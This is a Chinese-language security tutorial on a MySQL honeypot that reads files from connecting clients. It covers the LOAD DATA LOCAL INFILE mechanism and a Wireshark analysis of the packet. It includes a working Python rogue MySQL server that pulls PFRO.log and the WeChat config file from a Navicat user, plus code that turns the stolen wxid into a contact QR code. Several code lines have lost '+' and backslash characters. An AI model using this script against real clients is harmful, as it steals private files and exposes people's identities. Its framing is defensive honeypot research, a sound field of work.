1. 应用场景
蜜罐是网络攻防对抗中检测威胁的重要产品。防守方常常利用蜜罐分析攻击行为、捕获漏洞、甚至反制攻击者。同样,攻击方也可以通过蜜罐识别技术来发现和规避蜜罐,减少被防守方溯源。蜜罐环境能否迷惑攻击者一定程度上取决于搭建环境是否仿真,简单的环境容易被攻击者识破。现如今,弱口令依然是导致网络安全事件的主要因素,有时候一个弱口令可能导致企业被攻击者从外网打到内网。mysql蜜罐通过搭建一个简单的mysql服务,如果攻击者对目标客户进行3306端口爆破,并且用navicat等工具连接蜜罐服务器,就可能被防守方读取本地文件,包括微信配置文件和谷歌历史记录等等,这样很容易被防守方溯源。
2. 反制思路
MySQL服务端可以利用 LOAD DATA LOCAL命令来读取MYSQL客户端的任意文件,然后伪造恶意服务器向连接到这个服务器的客户端发送读取文件的payload。
Load data infile是MySQL的一个高效导入数据的方法,它的速度非常快。是MySQL里一款强大的数据导入工具。
3. navicat演示
Load data infile 这个功能默认是关闭的,当我们没有开启这个功能时执行LOAD DATA INFILE会有报错。
查看是否开启:
代码语言:javascript复制show global variables like'local_infile';
如果没有开启可以通过如下命令打开
代码语言:javascript复制set global local_infile=1;
语法:
代码语言:javascript复制load data [low_priority] [local] infile 'file_name txt' [replace | ignore]into table tbl_name
[fields
[terminated by't']
[OPTIONALLY] enclosed by '']
[escaped by'' ]]
[lines terminated by'n']
[ignore number lines]
[(col_name, )]
load data infile语句从一个文本文件中以很高的速度读入一个表中。
使用这个命令之前,mysqld进程(服务)必须已经在运行。为了安全原因,当读取位于服务器上的文本文件时,文件必须处于数据库目录或可被所有人读取。另外,为了对服务器上文件使用load data infile,在服务器主机上你必须有file的权限。如果指定local关键词,则表明从客户主机读文件。如果local没指定,则是读取服务器文件。
navicat演示:
test数据库中新建一个名为ceshi的表。
客户端(WIN10)D盘新建1.txt文件,内容为1234567890,然后读取这个文件内容到服务器。
代码语言:javascript复制load data local infile 'D:/1.txt' into table test.ceshi fields terminated by 'n';
如果出现secure-file-priv 选项为NULL则表示禁止导入导出,可修改mysql配置文件(Windows下为my.ini, Linux下的my.cnf),查看是否有:secure_file_priv = 这样一行内容,如果没有,则手动添加,=后面为空即可。
代码语言:javascript复制SHOW VARIABLES LIKE "secure_file_priv";
4. wireshark流量分析
在以上的过程中使用wireshark进行分析
wireshark过滤3306端口抓包。
第一个Greeting包返回了服务端的版本等信息
第二个包客户端发起登录请求
接下来客户端发送了请求
代码语言:javascript复制SET NAMES utf8mb4
从MySQL 5.5开始,可以支持4个字节UTF编码(utf8mb4 ),一个字符能够支持更多的字符集,也能够支持更多表情符号。utf8mb4兼容utf8,且比utf8能表示更多的字符,是utf8字符集的超集。所以现在一些新的业务,比如ISO等,会将MySQL数据库的字符集设置为utf8mb4。
连接建立之后客户端向服务端发起查询请求
接下来服务端回复一个Response TABULAR,指定要查询的文件
最后客户端向服务器发送文件内容
从上面过程可以看出,在客户端向服务端发起查询后,服务端会返回一个Response TABULAR的响应包。而如果在这个数据包中指定文件路径,就可以读取客户端相应的文件。而服务端可以在回复任何客户端的请求时返回Response TABULAR响应包,这样就可以在客户端登录成功后,发送Response TABULAR响应包,读取客户端的相关信息。
Response TABULAR响应包分析:
数据包中内容如下
代码语言:javascript复制09 00 00 01 fb 44 3a 2f 31 2e 74 78 74
这里的09指的是从fb开始十六进制的数据包中文件名的长度,00 00 01指的是数据包的序号,fb是包的类型,44 3a 2f 31 2e 74 78 74指的是文件名。因此payload可以为
代码语言:javascript复制chr(len(filename) 1) "x00x00x01xFB" filename
从上面的过程可以知道,首先服务端要发送Greeting包,这个包可以伪造,或者用wireshark抓到的Greeting包,然后引导客户端登录服务端(攻击者爆破),接下来可以构造Response TABULAR包的payload,最后还需要客户端的一个查询请求,从上面分析可以看到,Navicat客户端进行连接的时候,会自动发送SET NAMES utf8mb4 这个查询请求。
5. python脚本模拟过程
相关代码
代码语言:javascript复制# coding=utf-8
import socket
import os
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
port = 3306
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(("", port))
server.listen(5)
def get_data(filename, client, addr):
base_path = os.path.abspath('.') "/log/" addr[0]
if not os.path.exists(base_path):
os.makedirs(base_path)
evil_response = str.encode(chr(len(filename) 1)) b"x00x00x01xfb" str.encode(filename) # 恶意响应包
client.sendall(evil_response)
file_data = client.recv(999999)
print(file_data)
with open(base_path "/" filename.replace("/", "_").replace(":", ""), "wb ") as f:
f.write(file_data)
f.close()
while True:
# 建立客户端连接
client, addr = server.accept()
print("连接地址: %s" % str(addr))
# 返回版本信息
version_text = b"x4ax00x00x00x0ax38x2ex30x2ex31x32x00x08x00x00x00x2ax51x47x38x48x17x12x21x00xffxffxc0x02x00xffxc3x15x00x00x00x00x00x00x00x00x00x00x7ax6fx6ex25x61x3ex48x31x25x43x2bx61x00x6dx79x73x71x6cx5fx6ex61x74x69x76x65x5fx70x61x73x73x77x6fx72x64x00"
client.sendall(version_text)
try:
# 客户端请求信息
client.recv(9999)
except Exception as e:
print(e)
# Response OK
verification = b"x07x00x00x02x00x00x00x02x00x00x00"
client.sendall(verification)
try:
# SET NAMES utf8mb4
client.recv(9999)
except Exception as e:
print(e)
# Response TABULAR
filename = "C:\Users\xu\Documents\WeChat Files\All Users\config\config.data"
#这里为要读取的文件路径
get_data(filename, client, addr)
client.close()
将上面代码保存运行,用navicat连接登录,首先读取C:WindowsPFRO.log获取计算机的用户名,然后读取微信ID,这里需要微信配置文件的路径。
默认路径:
代码语言:javascript复制C:Users<目标用户名>DocumentsWeChat FilesAll Usersconfigconfig.data
首先从C:WindowsPFRO.log获取客户端的用户名,然后根据这个用户名拼接路径读取相应的文件内容。
这里以微信为例,读取微信的配置文件,获取客户端的微信id。注意navicat连接mysql数据库时连接用户名和密码随意。
使用github上的一个项目来演示Mysql读取,下载这个项目的代码
代码语言:javascript复制https://github.com/c0cc/fakeMysql
运行脚本,输入想要读取的文件路径,navicat进行测试连接,可以看到客户端的微信id成功获取。
如果对方是win10系统,并且启用了onedrive备份微信,那么微信配置文件的路径可能为
代码语言:javascript复制C:Users<目标用户名>OneDrive文档WeChat FilesAll Usersconfigconfig.data
通过wxid添加好友,参考代码。
代码语言:javascript复制import qrcode
from PIL import Image
import os
# 生成二维码图片
# 参数为wxid和二维码要保存的文件名
def make_qr(str,save):
qr=qrcode.QRCode(
version=4, #生成二维码尺寸的大小 1-40 1:21*21(21 (n-1)*4)
error_correction=qrcode.constants.ERROR_CORRECT_M, #L:7% M:15% Q:25% H:30%
box_size=10, #每个格子的像素大小
border=2, #边框的格子宽度大小
)
qr.add_data(str)
qr.make(fit=True)
img=qr.make_image()
img.save(save)
# 读取到的wxid
wxid = 'wxid_u3mntwd4glaq22'
qr_id = 'weixin://contacts/profile/' wxid
make_qr(qr_id,'demo.jpg')
运行代码生成了对方二维码,扫码可以添加对方好友,由于最近wxid规则改版,所以扫码添加会提示当前页面无法显示。
除了自己生成二维码,还可以借助其它软件,比如数据兔恢复大师,这款app主要功能是恢复微信聊天记录,同时也能够根据wxid生二维码,当然价格有点小贵,这里没有尝试。(PS:通过这款app也能够读取微信好友的wxid)
参考链接:
代码语言:javascript复制1. https://github.com/c0cc/fakeMysql。
2. https://www.freebuf.com/articles/web/247976.html
3. https://blog.csdn.net/caoxiaohong1005/article/details/72570147